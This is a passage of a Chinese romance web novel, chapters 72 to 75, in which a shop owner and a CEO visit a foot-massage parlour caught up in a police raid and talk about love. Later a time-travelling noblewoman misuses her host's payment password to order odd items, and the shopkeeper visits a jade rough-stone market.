黎行聿牵着狗，她领着黎行聿，两人一狗出了188号院子，朝着文化街区的另一端走。 “肯定没你去过的会馆上档次，但是很有南市特色，什么针灸理疗、药物推拿、精油按脚……项目很多的，名气不小呢，来南市旅游的游客大多会把这里当最后一站。” “对了，它家有一个我最喜欢的项目，可以边按脚边点餐，如果选包间的话，可以看电影。” “糟了，还不知道你有没有吃夜宵的习惯……”萧妧妧想起什么，懊恼的说。 “我不介意尝试，有什么特色餐点推荐吗？”黎行聿偏头看向身侧。 萧妧妧掏出手机，查找攻略。 “我比较喜欢螺蛳粉或者火鸡面，你好像不太能吃辣……有了，海鲜拌饭或者煲仔饭，如果不想吃米饭，还有各种拌粉……看起来都不错呢。” 黎行聿饶有兴致的听她嘀嘀咕咕，再日常不过的对话，从她嘴里说出来却好像施了魔法一样，格外有意思。 他不由自主地沉浸其中，时不时附和两句，脸上笑意越发明显。 两人并肩向前，脚边是围绕他们奔跑嬉戏的捷克狼犬。 一男一女一狗的身影缓缓远去，逐渐融入在城市繁华的霓虹灯光之中。 【作者有话说】 下次更新应该是在周四：D 72 第72章 ◎目标是日薪越亿◎ “欢迎光临~” 迎宾员热情洋溢地领着他们进店。 因为带了宠物狗,萧妧妧选择了相对私密一些的包间。 黎行聿不自在地穿梭在挨挨挤挤的大厅，打眼望过去，一排排脚丫子。 一直留意黎行聿反应的萧妧妧很快察觉到他的拘束，小声说：“没骗你吧,人真的很多,所以显得拥挤了些。” 黎行聿淡笑：“……很新奇。” “可惜今天来得迟,不然真想试试一边打麻将一边泡脚。” 萧妧妧望向大厅左侧的一个玻璃房间,眼神中流露出些许遗憾之色。 黎行聿顺着她的视线看去，宽敞的大横厅里面整整齐齐地摆放着十七八张麻将桌,桌下放着盛满热水的桶，旁边配备了餐车与餐具。 可以看得出,麻将与足浴结合的项目相当受顾客们欢迎，不仅所有的座位满员,外面还有不少人正排着队等待空位呢。 黎行聿像土包子进城一样，好奇地四处打量,萧妧妧偷瞄身侧,心里好笑。 两人说话间,迎宾员微笑着引领他们进入了预定好的包间,狗子大王单独栓在包间角落。 萧妧妧一看到沙发座就忍不住了,一屁股跌进去瘫倒。 黎行聿在沙发另一边落座，拿起菜单递给萧妧妧。 萧妧妧想客气一下，让他点菜，黎行聿推辞：“听你的,我对这里不熟悉。” 萧妧妧一听，便不再与他客套,高高兴兴接下菜单,询问黎行聿胃口如何,三下五除二确定好菜单。 考虑完口腹之欲，萧妧妧这才纠结足浴套餐。 原本她是打算自己来泡泡脚，缓解酸疼，早早定下了按摩项目，但是黎行聿在，萧妧妧有些不好意思。 她也是要面子的，当着黎行聿面鬼喊鬼叫太丢人了。 犹豫片刻，萧妧妧选择药浴加精油深度按摩，与黎行聿沟通后，为他选择古法推拿按摩。 工作人员退下做准备工作，门咔哒一下关上，不大不小的空间突然陷入了安静。 萧妧妧没和他熟到无话不谈的地步，这会忽然觉出尴尬。 松懈了，以前常和朋友约着按脚聊八卦，两个外向的E人在一起话题根本说不完。 黎行聿不像是能和她聊八卦的样子，萧妧妧欲言又止好一会选择沉默。 她挠挠头*，借着打量包间缓解尴尬氛围。 黎行聿突然问：“有你喜欢的影片吗？” 萧妧妧侧身，原来觉得尴尬的只有她，黎行聿在琢磨包间的超大电视机怎么打开。 她瞥一眼屏幕，一水的爱情片，不适合他们。 黎行聿听到拖长的“嗯”声，滑动平板释放出更多影片供她选择。 “有了，我们看动画电影吧？”萧妧妧挑挑拣拣，总算找到一部合适的影片，“你看过这部吗？” 黎行聿望过去，看海报有点眼熟，“上映的时候我在国外读书，没机会看。” 萧妧妧一听，扬起笑容，“太好了，我也没看过。那时候我在读高中吧，家里人管得严，后来就把它忘了。我们都是第一次看，公平。” 她选中影片，然后舒舒服服躺倒，等待影片播放。 黎行聿想继续话题，看她一副认真观看的态度，只好放弃。 开播不到三分钟，两名技师先后端着盆进来，另有一人端来许多瓶瓶罐罐。 为了听清工作人员的问询，时不时要暂停播放，萧妧妧的兴致减去大半。 先洗脚，再按揉，半小时的足部保养结束，萧妧妧越发困顿。 好在涂抹精油时，他们点的夜宵陆陆续续送进来，摆在两张按摩沙发椅中间。 方桌摆得满当当，萧妧妧便没心情关注电影了，掏出手机拍照。 角度光线很一般，萧妧妧拍不到满意画面，尝试了几次，最终因为影响技师发挥被叫停。 黎行聿见状掏出自己手机，“需要我帮忙吗？” 萧妧妧眼睛一亮，小鸡啄米似的点头。 “可以啊，你现在的技术……” 夸奖的话说到一半，手机叮铃铃响，萧妧妧一看备注是老妈，心里忍不住颤抖。 父母年纪越大，她越怕接到非正常时间打来的电话，总担心听到什么不好的消息。 电影再次暂停，萧妧妧对黎行聿笑了笑以示感谢，赶紧接通。 没等她开口关心，电话那头传来张芸女士噼里啪啦一连串的话。 “妧妧，明天来你小姨家，你那个店铺先别管了，介绍个新朋友给你认识。” 萧妧妧听到中气十足的声音，稍稍放松，随即警惕起来。 “新朋友？谁的朋友？” 张芸咂咂嘴，嗔怪的说：“让你见见人，你表哥回来□□件，他朋友跟着过来玩两天，哎呦，小伙子长得可帅了，我和你小姨越看越像你男朋友。” 萧妧妧默了默，无语地翻出一个白眼。 “您再仔细看看，那会不会是我哥的男朋友。” “去去去！胡说什么呢，小伙子白白净净，斯斯文文，今年27岁，一个月工资一万多，家里人特别简单，独生子，老家在我们隔壁室……” 萧妧妧叹气，挪远了手机，任由张芸叨咕。 黎行聿挑眉，不解的指了指手机，萧妧妧摇摇头，神情是一言难尽。 等电话那头传来张芸好几声呼唤，萧妧妧才把手机贴在耳边。 “听着呢听着呢，我今年过完生日才到22，有什么着急的。 再说了，27岁是不是年纪大了点？我喜欢比我年轻的，什么男高啊男大的，我想永远和十八岁的男孩子谈恋爱。” 萧妧妧暗暗对那位表哥的朋友说声抱歉，直接拒绝肯定会被老妈念叨，她只好敷衍过去。 电话那头听她吊儿郎当不正经的话，差点炸了，连名带姓的喊她，萧妧妧一凛，脊背挺直，软和声调说好话哄她。 “我工作可忙了，忙得我晚饭都没吃，我现在的首要任务是赚钱，日、薪、越、亿，不努力怎么行？哪里有工夫谈对象啊。” 萧妧妧生怕晚一点，张芸就能把相亲见面时间地点定下，着急忙慌的挂断电话。 等了一会，张芸没再打来，萧妧妧长舒一口气。 她冲黎行聿笑笑解释：“上个月堂姐带男朋友回家了，下个月表哥要带女朋友回家，我妈有点着急了。” 黎行聿凝着她的脸，试探问：“你喜欢十八岁的男生？” 萧妧妧脸颊唰的一下涨红，她清清嗓子，心虚的说：“那是糊弄我妈呢。” 说得时候只图嘴皮子爽快，说完意识到黎行聿旁听了全部，萧妧妧只剩下尴尬。 “客人，放松一下，脚趾舒展我才好按摩。”技师温柔提醒她。 萧妧妧更尴尬了，蜷缩的脚趾被迫舒展。 “是不是可以理解为，你不在乎年纪？”黎行聿追问。 萧妧妧摇头：“还是在乎的，年纪太大也不行。” 黎行聿：“你有想过另一半是什么样，会比你大多少吗？” “我只幻想过以后能赚多少……”萧妧妧认真思考了一会，说：“我暂时没想谈恋爱，甚至结婚，如果真要说对另一半的要求，我希望越年轻越好。” 听说上了年纪的男孩子，不太行。 至于其他的附加条件，萧妧妧想不到更具体的内容，反正也不可能有完全符合条件的，如果有，那一定是杀猪盘。 黎行聿倏然止了声。 萧妧妧疑惑转头，调侃道：“问这么仔细，你不会是想给我介绍对象吧？” 黎行聿耸肩，“要不要说说看？或许我恰好认识符合你要求的。” 萧妧妧双臂交叉挡在胸前，一副敬谢不敏的样子，说：“没要求，不想谈。刚才有一句没糊弄我妈，我的目标是日薪越亿！” 萧妧妧振奋握拳，她认为这不是梦，迟早会实现。 黎行聿想追问下去，但见萧妧妧的态度明显是不想深谈，犹豫一会，放弃话题，转而不明所以地看向她。 “日新月异？” 萧妧妧掏出手机，打出几个字发给他，“这是谐音梗。” 黎行聿看一眼亮起的屏幕，恍然大悟，随即哑然失笑。 “少年当有凌云志。”他感叹的语气说。 因为语气太过正常，以至于萧妧妧听在耳朵里，正常得有点不对劲。 小时候不懂事说大话，立志要如何如何，身边人的反应无外乎两种，一种是不以为意的顺着她的话画大饼，情绪价值给得足足的，这种一般是好人。 还有一种是不怀好意的嘲笑，一副“你肯定做不到，但不妨碍我看你热闹”的神情，这种一般不是人。 她狐疑回望过去，黎行聿一脸诚恳与认同，好像信了她的玩笑话，并坚信她能够实现。 萧妧妧一时间不知道如何反应，以上举例的两种情况出现任意一种她都有办法应对，像黎行聿这样的，她反倒说不出话。 “说着玩的，网上很流行谐音梗。”萧妧妧含糊带过话题。 也对，她怎么忘了，黎行聿大小是个霸总，切切实实达到日薪越亿的人，当然不觉得这是不可能完成的目标。 差点给她感动坏了。 “看电影看电影！”萧妧妧飞快转移话题，“烤串要凉了，你多吃点。” 晚饭是真没顾得上吃，不是她在向张芸卖惨，等技师开始涂抹精油，萧妧妧率先捧起一碗拌粉。 黎行聿努力适应片刻，神色自然地端起一碗甜汤。 两个小时的足部项目进行到一半，电影播放了大半，外面走廊吵嚷起来。 萧妧妧正全身心地享受难得的休闲时光，听到突如其来的喧闹，微微皱起眉头。 她刚想问问怎么回事，倏地，大门竟然被人推开，重重地撞在墙上，紧接着，一群身着制服的警察们闯进来。 “不许动！身份证拿出来！” 萧妧妧傻眼，呆呆地望着。 这……她不就偷摸看了一眼小黄文嘛，至于吗？ 【作者有话说】 感谢隺翯灌溉营养液+3[星星眼] 73 第73章 ◎原来是喜欢◎ 当年没机会看的电影,如今也没能弥补遗憾。 萧妧妧微微侧过头，目光恰好与身旁的黎行聿交汇于半空中。 四目相对的瞬间，彼此都从对方的眼中捕捉到了一丝囧意。 等他们一起转过头，看向角落里惊醒的,弓着背、龇着牙,一副捍卫者姿态的大王,两人像打开隐藏开关,情不自禁发笑。 谁能想到啊，难得做一次足浴放松放松,凑巧地撞上警察扫黄，莫名其妙地成为了嫌疑对象。 听到年轻警察离开前嘟囔一句“怎么跑这约会来了”,萧妧妧无话可说。 “抱歉，我不知道做足浴会……”萧妧妧笑够了,捂着肚子向他表达歉意。 就很离谱，幸好足浴店够正经,否则查出点什么,两人双双进局子交待情况,黎行聿这个大客户她算是得罪了。 黎行聿摇摇头,笑着说：“很独特的经历。” 萧妧妧以为事情到此为止,按摩可以继续，影片也可以继续。 她刚点开播放，隔壁包间突然传来激烈争吵声。 紧接着，便是拳脚相加、大打出手的混乱场面,走廊迅速挤满围观人群。 萧妧妧透过门上的装饰玻璃看到外面景象，哪还有心思看电影,按下暂停,抻着脖子去听。 刚刚为她完成一轮按摩服务的技师主动请缨,自告奋勇地出门打探情况。 而一旁的黎行聿，被这一连串始料未及的意外事件给冲击得有些回不过神，面无表情。 技师拉开门，争吵、求饶、劝架……还有警察同志的教育，一声接一声传来。 不用技师打探，萧妧妧很快听出事情缘由。 原来是有人实名举报足浴店聚众那啥，警察一听哪还得了，赶紧带人调查。 这一顿查，没找到涉.黄嫖.娼的，倒是抓到一对偷.情的男女。 好巧不巧，打举报电话的人出现，冲上去抓着男方一顿揍。 从她的骂骂咧咧中，围观的吃瓜群众很快明白过来。 萧妧妧听到啪啪啪几个巴掌声，不由自主地捂住脸。 “这就是我不想谈恋爱的原因之一。”她唏嘘道。 黎行聿侧过身：“担心另一方背叛？” 萧妧妧一脸沉重地摇头：“正相反，我才是那个会出轨的。” 萧妧妧已经拥有千万资产了，以后只会更富有，她不出轨谁出轨？ 这……黎行聿神情凝固，从未想过的答案让他一时间接不上话。 难得见他把情绪露在脸上，萧妧妧好整以暇地欣赏一会，收敛笑意，撑着脸蛋，老实巴交的说： “尤其相亲结婚，本身没有感情可言，我不觉得我有霸总的自制力，不受外面年轻帅哥的勾引。老实说，精神和□□，总有一个要去搞副业。” “万一传出去，我爸妈颜面扫地。” 不管是附和还是辩驳，黎行聿应该说些什么，然而他的语言系统像受到冲击一般，半晌吐不出一个字。 “……你对婚恋的态度有些消极，如果有感情基础，或许能解决你的顾虑。” 尽管黎行聿用词克制委婉，语气平和似闲聊，仍能听出他话音里的不认同，甚至夹杂了一丝谴责的味道。 萧妧妧点头，认可了他的话，但神情依然充满困惑。 “你说得有道理，可是，我连爱是什么都不知道。” 谈到爱，黎行聿抿紧唇角，陷入沉默。 萧妧妧不需要他回应，打开话匣子后，自顾自的说：“我大学学的是表演专业，演过很多陷入爱恋的角色，知道很多关于爱的理论。” “比如说，爱的产生是没有逻辑、没有理由、没有预兆的，爱和喜欢不是一回事，爱与喜欢的体现也不一样。 我知道爱一个人要怎么演，喜欢一个人又该做出什么样的眼神和举止，但是，我仍旧不知道爱是什么，也没体会过喜欢一个人的心情，更做不到在不懂爱的时候进入婚姻。” “我对婚姻的理解，是责任加奉献，如果连喜欢的情绪都无法产生，我没信心保证我能扛住责任，甘愿奉献。” “最重要的是，不管是爱还是喜欢又或者是婚姻，任何一段关系的展开，始终存在一个我无法忽视的关键点，信任。” “想要做到完全信任一个陌生人，太难了。” “而爱是盲目的，爱比信任更先一步占据思想，产生了爱，很难生不出信任，可对方真的值得信任吗？” 遭到背叛的女人抽噎着哭诉，出轨男人的缄默与不耐呵斥，杂乱的背景音交织着，印证她的言论。 黎行聿像是在认真思考她的话，沉吟片刻，缓缓开口回应。 “我不知道爱是什么，但我认可这么一句话——‘互相敞开心魂，为爱所独具’。至于喜欢……”话音稍顿，黎行聿似乎有些拿捏不准，选择略过不谈，转而说： “说说婚姻吧，我和你的观点有些出入，在我看来，缔结契约的那一刻，也是互相交换忠诚的时刻，与情感无关，只有责任。” 缓一口气，他接着说：“信任没有你想象的那么难，试试看，说不定有惊喜。” “可不敢乱试。”萧妧妧飞快摇头。 “比如今天，你提议去那什么会馆，而我却带你来了这里，虽然我嘴巴上说得好听，想带你体验一下南市特色，其实我自己心里的想法完全是另一回事。” 黎行聿了然，插话道：“因为不信任。” 萧妧妧没什么不好意思承认的，坦荡荡说：“对，我不能百分百信任你，所以不敢跟你去陌生地方，让我踏实的选择是带你来到我熟悉的地方。” 黎行聿惊喜于她的坦白，微微点头，赞赏的语气说：“谨慎这一点，值得表扬。” 萧妧妧嘿嘿笑，举起饮料凑过来碰杯，“感谢理解。” 黎行聿随之端起杯子与之轻碰。 “铛”一声脆响，他抿一口酸溜溜的果汁气泡水，总结道：“我大概明白了，对你而言，需要对对方足够的了解，掌握充分的信息后，才能决定要不要培育爱。” 萧妧妧耸肩：“矛盾的是，并不是深入了解后就能有爱，甚至在了解过后，发现对方连喜欢的情绪都不值得付出。” 她啧啧两声：“看吧，是不是很麻烦？” 黎行聿不置可否，但又无法说服她。 “咔哒” 说话的工夫，打探情报的技师回来了，关上包间门，绘声绘色讲述她听来的八卦。 萧妧妧即便猜到了故事的走向，仍旧兴致勃勃听技师讲述。 两小时的足浴按摩，因为意外事故中断了几分钟，店经理一边赔礼道歉，一边做主送来八折优惠券。 萧妧妧递给黎行聿，他心不在焉的，好一会才反应过来，礼貌推拒了。 萧妧妧喜滋滋收下，下次可以请昭昭一起体验。 出了店门，已经是晚上十一点，足浴店门口没多少人排队。 萧妧妧好像活过来似的，浑身舒坦。 她大迈步走在前面，黎行聿牵着大王，不紧不慢跟在身后。 到了月牙巷，萧妧妧拐进去，走了没两步，忽然发现后面没了一人一狗的脚步声。 她疑惑回头，恰好看着黎行聿错过巷子入口，直直穿过斑马线继续向前。 “黎行聿，走错了，你快回来。”萧妧妧连忙开口叫住他。 最先做出反应的是大王，听到召唤蹭一下跳起，用力拖拽着他往回走。 黎行聿如梦初醒般回过神，绕回她身侧，重新跟上她的步伐，低声道一句抱歉。 “想什么呢，走路的时候别发呆，巷子里有不少电动车，容易碰着。”萧妧妧好心提醒。 黎行聿嗯了一声，低沉的嗓音清清淡淡，像夏日微风拂过耳畔。 “抱歉，有个问题困扰着我，”他顿了顿，声音里带着几分迟疑，“我似乎分辨不清欣赏与喜欢的区别。” 萧妧妧眸光一闪，敏锐地捕捉到话音里传达的隐晦意味，唰一下竖起耳朵。 “哦？”她故作淡定，声音带着一丝不易察觉的雀跃，“说来听听？” 有瓜，想吃！ 她迫不及待想要探听更多内幕。 萧妧妧一直怀疑黎行聿和云昭昭有CP，然而最近几次接触后渐渐发觉不太像。 黎行聿对云昭昭并未有特别的优待，而从云昭昭的反应来看，她对黎行聿完全是普通社畜面对大老板时战战兢兢的模样。 两人之间看不到一点甜蜜互动，更别说暧昧气息。 黎行聿侧眸看，猛地撞进她亮晶晶、水润润的狐狸眼，心悸的症状倏然加重。 “只是有些困惑。”不自在地收回目光，落在前方，他的声音轻得几乎要消散。 “我可是经验丰富的老军师了，说不定可以为你解惑。” 萧妧妧搓着手，仰头望他，就差开口问他喜欢的是谁。 左等右等，好一会没等到他开口，萧妧妧以为他不愿意深谈，注意力渐渐被石板路两边小摊的手工饰品拉走。 黎行聿的声音在身侧响起：“嗯，应该是喜欢呢。” 萧妧妧以为话题结束，突然听到他的回应，心口一跳，下意识偏头瞄他。 黎行聿嘴角含笑，一副醒悟的神情，整个人因明晰自己的内心，散发出平和安定的气息。 “变得不像自己，会不安，会胆怯……”他深吐息，轻笑一声，用笃定的感叹语气说：“原来是喜欢啊。” 黎行聿回望过来，目光灼灼。 萧妧妧像被他的目光烫了一般，飞快偏移视线。 她接上话题，试探着问：“有没有想过和TA坦白？” 黎行聿毫不犹豫的回答：“暂时不会。” “为什么？”萧妧妧的追问脱口而出。 黎行聿声音淡淡，“她不喜欢我。” 萧妧妧恍然，调侃道：“原来你在玩暗恋啊。” 黎行聿笑了笑，富有磁性的嗓音飘来，理智而沉静的讲述理由。 “我的生活在她看来应该很无聊，除了工作就是工作，忙起来分身乏术。 我给不了形影不离的陪伴，和这样的我谈恋爱，她会受委屈。” 萧妧妧皱了皱眉，不赞同地反驳：“这只是你的想法。” 黎行聿步子停顿，目光直直落在萧妧妧的背影上。 “说不定她比你忙，而且，并不是每个女生对情感的需求都是陪伴，每对情侣的相处模式也各不相同。”她未曾察觉身后的注视，自顾自的说。 比如男女主，他们的相处模式太违规了。 她的背影越拉越远，逐渐融进人流中，黎行聿眼底闪烁着细碎的光，迈开长腿追了上去 “你呢，你的需求是什么？” 【作者有话说】 感谢读者“隺翯”,灌溉营养液+3[亲亲][亲亲] 74 第74章 ◎孩子静悄悄，必然在作妖◎ “我是无情的赚钱机器,我没有情感需求。” 萧妧妧一直认为自己还是个孩子，远不到考虑复杂情感问题的年纪，以玩笑的口吻回复。 黎行聿张口欲言，萧妧妧停下脚步。 “总算到家了,”萧妧妧欢呼一声,扭头冲黎行聿挥手,“晚安,黎行聿，今天谢谢你帮忙啊。” 黎行聿抬头看向她身后,迟钝反应过来，说话的工夫,他们已经走到巷子深处。 这时，萧妧妧蹲下身,抱住大王的狗头□□了几下。 “也谢谢大王，你推箱子的动作特别帅。” 威武的捷克狼犬瞬间被她哄成狗腿子,狗头一个劲的往萧妧妧怀里钻,嗷呜着要贴贴。 黎行聿嗫嚅一会,最终只有一句“晚安”回应她。 目送萧妧妧蹦蹦跳跳回家,身影消失在闭合的门后,黎行聿垂下眼帘，心中泛起一丝失落，却也夹杂了一抹庆幸。 “走吧，大王。” 他泄出一口浊气,等心跳恢复正常才转身离开，迈出去两步,黎行聿发现牵引绳拽不动。 侧身低头,就看见大王屁颠屁颠地追到门口,两爪搭着门板踩，尾巴摇成螺旋桨，想换主人的心思几乎写在脸上。 黎行聿：…… 他无奈地抱起大王，强硬地拧过狗头，加重语气强调。 “傻狗，她不喜欢你。” …………………… 又是一个艳阳天，时间刚过八点，灿金的阳光倾泻而下，璀璨云霞铺满半边天。 美好的晨光中，萧妧妧悠闲地穿梭在庭院中，手持水壶，给花草盆栽浇逐一浇水。 忙完家中杂事，她伸了个懒腰，雄赳赳气昂昂赶去小卖部。 当然，走得是院子的正门，她没敢从小卖部前门进。 “谢谢啊，辛苦大家啦，我请你们吃早饭。” 几乎是刚迈进门，巷子口临停区来了三辆厢式小货车，小推车排成队，一箱箱货品被源源不断地送入院子的正门口。 萧妧妧见他们汗流浃背，一人送上一瓶水，又去旁边包子铺给他们买早饭。 “萧老板，你店里被人抢了吗？怎么要那么多货。”帮忙搬货的大叔一口包子一口水，嘴里还含混不清地问。 萧妧妧心里不由得“咯噔”一下。 之前几次送来的货都卖给龙傲天和申明月了，需求量太大，是其他便利店的十几倍。 “柳叔，你去店里看看吧，排队买东西的人太多了，我这铺子差点让人搬空。”萧妧妧神色如常。 “老柳，你别没看新闻啊，小萧收了个老物件，发现是什么史料，就给捐博物馆去了，这两天好多网友上门买东西呢。”一旁歇息的配送工连忙插话。 老柳一口咽下半个包子，傻愣愣问：“真卖空了啊？” 他眼珠子定在某处，嘴里叽叽咕咕的盘算起来。 “哎呦，这么多货卖出去可不少钱，而且铺子还是自家的，不用付房租，一天少说千八百……” 老柳自觉算得大差不差，眼睛一瞪，扬声问：“萧老板，你这小卖部不少赚吧？一个月有没有十来万？” “赚什么赚，你们看着小卖部热热闹闹不少人，昨晚一拉账单，利润刚好够买这一袋包子的。”萧妧妧愁眉苦脸地吐槽。 老柳不信，“哪能啊，你这铺子可不小。” “表面风光，其实都在硬撑着呢，不然我也不能再收拾个古董铺子出来，就是想法子多条门路赚点生活费。早知道现在生意这么难做，我说什么也不能接手。” 萧妧妧往墙边一蹲，大倒苦水，嚷嚷着她亏了多少多少，贷款快把她给压得喘不过气来了。 卸货的几位配送大叔听到她一番抱怨，感同身受似的，纷纷附和。 “做生意嘛，难免有起有落。我家那个做买卖的亲戚前段时间也亏了不少呢。” 其他几位大叔跟着说起自己的见闻，讲述亲朋好友生意失败的例子。 等时间走到九点，大家卸完货，要赶去下一个网点，萧妧妧把人送走才彻底松了一口气。 小卖部赚钱的消息前脚传出去，后脚就能遭贼，财帛动人心，萧妧妧哪敢透露一字半句，可劲的卖惨。 想到这里，萧妧妧不敢有丝毫耽搁，当机立断决定先在院子里安报警器，监控提示放大一倍贴在门牌号边上，以起到更好的警示作用。 忙完这些，再回头去看院中堆积如山的货箱，她顿时感到一阵头晕目眩。 萧妧妧这会是真忍不住愁眉苦脸了。 如此大规模的补货上架，只在开业前经历过，那时候有爸妈在身边帮衬着，堂姐和小姨也时不时过来搭把手，虽然辛苦，好歹应付得来。 现在倒好，所有重担压在她的肩上，难度可想而知。 眼不见为净，萧妧妧逃回小卖部，看看有没有异世界客人的留言。 才刚进门，无意瞥到店门外的景况，萧妧妧吓一跳。 阳光透过树叶的缝隙洒下斑驳的光影，赶早的游客时不时经过，本该是惬意的光景，偏偏店外的绿荫下聚集了许多人逗留徘徊。 过路游客好奇不已，停下脚步抬头辨认招牌，再凑近店门一探究竟。 直到看清是小卖部，店里货架空了大半，游客一边惊叹小卖部的异常火爆，一边举起手机拍照，随后慢悠悠走远。 好在她有先见之明，早早贴了通知单，除了坚持逗留不知道在等什么的人，大部分人看见通知单都会选择安静离去。 没过多久，新的一波人又接踵而至，同样的场景不断上演。 萧妧妧看着门外熙熙攘攘的人群，比起昨天的情况更甚几分，当场社恐了。 这架势，更不想营业了，补一次货卖断一次，然后又是新一轮的大规模补货，恶性循环，社畜也不能这么使啊。 深思熟虑之后，萧妧妧决定歇业几天，等热潮消退，没那么多人跟风前来打卡购物，她再看情况恢复营业。 什么时候营业什么时候补货，能偷一天懒是一天，反正她是一点不着急。 那点日常用品，就算卖空十次，所带来的收益也远远不及来自异世界客人的一笔交易。 孰轻孰重，萧妧妧心里有杆秤，正好，她还能轻松一点。 打定主意，她索性把小卖部的遮光帘全部放下，彻底隔绝外界的干扰，不管怎么走动窥视，都无法看清店内真实情况。 处理完小卖部，萧妧妧转身回到院子里，一股脑把货箱挪进空间。 粗糙地收拾一遍，小院变得整齐宽敞，她总算是能歇口气了。 正当她犹豫要不要趁着这会没人，萧妧妧忽然注意到，院子一角多了一堆奇形怪状的快递包裹。 她回想一会，是柳叔送货时见门外一堆快递，询问过后，顺手放在推车上送进来。 萧妧妧以为是网上购买的杂货，走近仔细查看时却发现，这些包裹的体积大小跟普通的杂货完全对不上号。 带着满心的疑惑，萧妧妧再次确认收货人的信息，确定没有送错，她一头雾水地拆包裹。 不拆还好，一拆开来可真把萧妧妧给惊得目瞪口呆。 她什么时候买的轮椅？ 萧妧妧满脑子问号，随手拆开了另一个包裹。 这次看到的东西更是让她瞠目结舌，人形包裹之中赫然摆放着一个充气娃娃！ 这又是闹哪一出啊？ “天呐，真的有会跑的椅子，好神奇啊。” 萧妧妧怀疑过自己精神分裂，唯独没怀疑过异世界的客人。 柳如烟一身石榴红罗裙，蹦蹦跳跳跑来，快快乐乐坐在轮椅上，萧妧妧眯了眯眼。 “这些东西……是你买的？” 柳如烟眨着一双无辜的杏眼，“买？不是买的，本宫没给过钱。” 萧妧妧换了个说法：“你昨天是不是在网上看到了轮椅和充气娃娃？” 她提溜起旁边死沉死沉的充气娃娃，摆在柳如烟面前。 柳如烟惊讶的捧住脸。 “天呐天呐，太神奇了！萧老板，是不是只要填那些符号，图片上的东西都可以送给我？” 柳如烟根本顾不上回答萧妧妧的问题，她惊喜极了，坐着轮椅，抱着充气娃娃，爱不释手。 萧妧妧稍一琢磨，很快想通是怎么一回事。 “你看到的符号是不是……”萧妧妧掏出手机打出一串数字，“这样？” 柳如烟天真的点头：“是啊，你在框框里弄了这样的符号，然后本宫就能看好多好多故事了。” 萧妧妧闻言，不禁扶额苦笑。 大意了，她以为古人不懂密码支付，短剧充值付费的时候便没特意避开柳如烟。 柳如烟不懂什么是电子支付，只知道输入密码可以看一下集。 再回想，萧妧妧脸唰的一下绿了。 孩子静悄悄，必然在作妖。 难怪后面半天没缠着她问这问那，原来是知道了密码，根本不需要她。 “萧老板你快来坐，这个椅子会跑呢，据说它跑不动的时候不需要吃草料，晒晒太阳便可。萧老板，这到底是怎么回事啊？” 萧妧妧拿来柳如烟的平板，戳进短剧一看，原来是一部男主残疾的剧，推送的太阳能电动智能轮椅广告。 现在的小广告病毒似的，一个不慎就得困在里面，萧妧妧习以为常，没见过世面的古代人柳如烟不一样，看什么都新奇。 尤其知道支付密码以后，随便戳戳点点，不知不觉下单成功，加上她看不懂简体字，全靠画面猜测商品用途，好奇之下，什么稀奇古怪的东西都被她买了一遍。 柳如烟至今没能意识到自己花钱消费了，只当自己抱了阿拉丁神板，戳一戳点一点，稀里糊涂完成了购物流程。 哦，她甚至不知道阿拉丁是谁。 细想一番，这事不能全怪柳如烟，她也有错。 萧妧妧闭了闭眼，心底不由庆幸。 幸好送货地址默认是188号，充气娃娃前脚送进家门，后脚她就得社死。 萧妧妧翻看购买记录，把其他没来得及发货的东西通通退货。 为了安全设定的密码支付已经不安全了，萧妧妧启用面容支付，防止发生类似事件。 也就是她现在卡里钱多，少个千八百块的看不出来，否则不会发生这样的乌龙。 细枝末节的东西不想还好，细琢磨全是问题，萧妧妧解决完它们，顺带把柳如烟也给解决了。 小孩子玩起平板是无师自通，萧妧妧不能图清净放任她自己玩，上网该注意的事项必须得教会。 “为什么？本宫没有付钱，怎么算买东西了呢？” “电子支付？什么意思？” “哎呀，你说的我听不懂，我不听我不听。” “那不是玩偶吗？为何不能碰？” “不能退不能退，这是有轮子的椅子，和别的椅子不一样。” “萧老板你也太小气了！” 小气的萧妧妧倒吸一口气，顿时歇了心思，教不会，爱咋咋吧。 她看着散落一地的包裹，最终无奈妥协。 快递小哥送来一次社死一回，退回去又得社死一回，不如留着给柳如烟当玩具。 “哇~好快的椅子，萧老板你看啊~” “哈哈哈太有意思了，萧老板，本宫要带走它。” 有了新玩具，柳如烟不再执着追短剧，屁股像钉死在轮椅上，操纵轮椅在不大不小的院子里，欢快地绕起圈子来。 一会从左向右加速，一会从右向左倒退，一阵阵犹如银铃般的笑声在院子里回响。 “也是拿你没办法……”萧妧妧看柳如烟玩得不亦乐乎，轻轻地叹了口气，扬声说：“我要外出一趟，帮我看着铺子啊。” 使唤起柳如烟，萧妧妧没有一点负担，毕竟付了钱和面子的。 “萧老板放心去，有本宫在误不了事。”柳如烟拍拍轮椅，豪情万丈的大声回应。 萧妧妧抽抽嘴角，终究没有出言反驳什么，打击她信心没人帮忙看店就得不偿失了。 又仔细叮嘱柳*如烟不要随便进入古董铺，同时注意不能和前来光顾的客人们发生争吵，柳如烟通通点头答应，表示一定会严格遵守，娇俏小模样乖巧得不得了。 萧妧妧见她态度端正，半信半疑骑上史努比，往玉石毛料市场去。 【作者有话说】 [垂耳兔头][垂耳兔头]感谢隺翯灌溉营养液+3，感谢乍暖灌溉营养液+20[玫瑰] 75 第75章 ◎毛料交易市场◎ 从前几次路过,萧妧妧没瞧出毛料交易市场有多吸引人。 现在明白玉石翡翠的好了，萧妧妧后悔不迭。 但后悔没用，她至今没能掌握如何鉴别玉石好坏的技巧，更不用说去分辨毛料,是系统给了她走进市场的勇气和信心。 别看玉石昂贵,玉石珠宝商店或华丽或雅致,售卖毛料的市场却和华丽雅致没多大关系。 萧妧妧抬头,市场顶部是钢架撑起的大棚子，面前是一排排水泥砌的长摊位,其简陋程度与普通菜市场无异。 乍一看清市场内部环境，萧妧妧心中不免涌上一丝失望。 然而她目光一转,注意到穿梭市场中的行人或颈挂金链，或腕戴玉镯,每一件饰品都透露着不俗的价值。 萧妧妧收敛了先前的轻视，她调整心态,先从市场入口处开始,逐一探访。 每一竖排大约有二三十个摊位,较小的摊位上摆放着十来块奇形怪状的毛料,而较大的摊位则占据两个位置,上面陈列着大小不一的石头，总数可达二十多块。 有的摊子门可罗雀，老板悠然自得地摇着蒲扇玩手机，热门的摊位人头攒动,大家目不转睛地盯着一块石头瞧。 萧妧妧难以挤进人多的摊子，只好在无人问津的摊位里随意看看。 交易市场里的摊子多数明码标价,价格从几千到上万乃至十万不等,萧妧妧纵使卡里有千万资产,也舍不得掏十几万交学费。 她故作镇定地拿起手电，在毛料上胡乱照射一通，实则是在等待系统给出结果。 